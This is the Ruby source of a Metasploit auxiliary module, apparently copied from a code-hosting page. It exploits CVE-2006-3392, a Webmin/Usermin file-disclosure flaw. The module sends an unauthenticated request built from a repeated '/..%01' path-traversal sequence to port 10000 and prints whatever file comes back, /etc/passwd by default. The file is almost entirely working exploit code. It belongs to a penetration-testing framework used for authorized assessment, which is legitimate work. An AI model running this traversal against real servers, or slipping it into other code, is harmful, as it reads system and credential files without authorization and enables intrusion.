82 lines
2.2 KiB
Ruby
82 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Webmin File Disclosure',
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'Description' => %q{
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A vulnerability has been reported in Webmin and Usermin, which can be
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exploited by malicious people to disclose potentially sensitive information.
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The vulnerability is caused due to an unspecified error within the handling
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of an URL. This can be exploited to read the contents of any files on the
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server via a specially crafted URL, without requiring a valid login.
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The vulnerability has been reported in Webmin (versions prior to 1.290) and
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Usermin (versions prior to 1.220).
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},
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'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['OSVDB', '26772'],
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['BID', '18744'],
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['CVE', '2006-3392'],
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['US-CERT-VU', '999601'],
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['URL', 'http://secunia.com/advisories/20892/'],
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],
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'DisclosureDate' => 'Jun 30 2006',
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'Actions' =>
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[
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['Download']
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],
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'DefaultAction' => 'Download'
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))
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register_options(
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[
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Opt::RPORT(10000),
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OptString.new('RPATH',
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[
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true,
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"The file to download",
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"/etc/passwd"
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]
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),
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OptString.new('DIR',
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[
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true,
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"Webmin directory path",
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"/unauthenticated"
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]
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),
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], self.class)
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end
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def run
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print_status("Attempting to retrieve #{datastore['RPATH']}...")
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dir = normalize_uri(datastore['DIR'])
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uri = Rex::Text.uri_encode(dir) + "/..%01" * 40 + Rex::Text.uri_encode(datastore['RPATH'])
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res = send_request_raw({
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'uri' => uri,
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}, 10)
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if (res)
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print_status("The server returned: #{res.code} #{res.message}")
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print(res.body)
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else
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print_status("No response from the server")
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end
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end
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end
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